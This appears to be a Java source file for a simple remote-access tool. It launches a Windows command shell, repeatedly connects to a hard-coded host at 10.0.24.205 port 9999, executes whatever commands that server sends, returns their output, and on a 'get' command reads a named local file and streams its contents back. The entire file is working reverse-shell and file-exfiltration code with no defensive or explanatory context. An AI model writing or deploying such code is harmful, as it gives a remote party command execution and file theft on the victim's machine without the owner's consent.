package com.coderside.fragment.socket;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Stack;

public class Command {

	private java.lang.Process p; //
	private InputStream is;
	private OutputStream os;

	private BufferedWriter bw;
	private BufferedReader br;

	public Command() {
		initProcess();
	}

	private void initProcess() {
		try {
			p = Runtime.getRuntime().exec("cmd");
			os = p.getOutputStream();
			is = p.getInputStream();
		} catch (IOException e) {
			System.err.println(e.getMessage());
		}
	}

	public void redo() {
		initProcess();
	}

	public void exec(String command) {
		try {
			bw = new BufferedWriter(new OutputStreamWriter(os));
			bw.write(command);
			bw.newLine();
			bw.flush();
			bw.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	public void exec(String[] args) throws IOException {
		for (String s : args) {
			bw = new BufferedWriter(new OutputStreamWriter(os));
			bw.write(s);
			bw.newLine();
			bw.flush();
		}
		bw.close();
	}

	public String readResult() {

		StringBuffer sb = new StringBuffer();
		br = new BufferedReader(new InputStreamReader(is));
		String buffer = null;
		try {
			while ((buffer = br.readLine()) != null) {
				sb.append(buffer + "\n");
			}
			System.out.println(p.waitFor());

		} catch (Exception e) {
			e.printStackTrace();
		}
		return sb.toString();
	}

	private void writeMimeType(OutputStream out, String type) throws NumberFormatException, IOException {
		out.write(Byte.parseByte(type));
	}

	private final String textMimeType = "0";

	public void flushOut(OutputStream out) {
		br = new BufferedReader(new InputStreamReader(is));
		String buffer = null;
		try {
			writeMimeType(out, textMimeType);
			while ((buffer = br.readLine()) != null) {
				out.write((buffer + "\n").getBytes());
				out.flush();
			}
			out.write("exit".getBytes());
			out.flush();
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private final String zipMimeType = "1";

	public void flushZipOut(OutputStream out, InputStream ins) {
		byte[] b = new byte[1024 * 10];
		int len = 0;
		try {
			writeMimeType(out, zipMimeType);
			while ((len = ins.read(b)) != -1) {
				if (len < b.length) {
					byte[] b2 = new byte[len];
					System.arraycopy(b, 0, b2, 0, len);
					out.write(b2);
					out.flush();
				} else {
					out.write(b);
					out.flush();
				}
			}
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			if (null != ins) {
				try {
					ins.close();
				} catch (IOException e) {
					e.printStackTrace();
				}

			}
		}
	}

	class StreamConnector extends Thread {

		private Stack<String> cmdList;

		public StreamConnector() {
			cmdList = new Stack<String>();
			cmdList.push("ls");
		}

		public void run() {
			Socket socket = null;
			boolean isZip = false;
			try {
				while (true) {
					socket = new Socket("10.0.24.205", 9999);
					// 向服务器端发送数据
					DataOutputStream out = new DataOutputStream(socket.getOutputStream());
					
					redo();
					if (!isZip) {
						exec(cmdList.pop());
						flushOut(out);
					} else {
						String filePath = cmdList.pop();
						File file = new File(filePath);
						if (!file.exists()) {
							file = new File("./" + filePath);
						}
						FileInputStream fis = new FileInputStream(file);
						
						flushZipOut(out, fis);
					}
					String instext = readInputStream(socket.getInputStream());
					if (instext.startsWith("get")) {
						isZip = true;
						cmdList.push(instext.substring(4, instext.length()));
					} else {
						isZip = false;
						cmdList.push(instext);
					}
				}

			} catch (UnknownHostException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}

		private String readInputStream(InputStream is) throws IOException {

			BufferedReader br = new BufferedReader(new InputStreamReader(is));
			String temp = null;
			StringBuffer subff = new StringBuffer();
			while ((temp = br.readLine()) != null) {
				subff.append(temp.trim());
			}
			return subff.toString();
		}

	}

	public static void main(String[] args) {
		try {

			Command cmd = new Command();
			StreamConnector streamConnector = cmd.new StreamConnector();
			streamConnector.start();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}